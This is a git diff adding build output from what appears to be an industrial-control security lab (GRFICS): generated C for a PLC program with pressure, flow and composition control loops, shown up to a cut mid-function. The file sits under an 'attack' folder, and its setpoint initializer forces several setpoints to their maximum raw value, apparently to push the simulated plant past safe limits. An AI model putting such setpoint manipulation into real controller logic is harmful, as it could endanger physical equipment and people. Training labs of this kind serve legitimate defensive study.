b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + 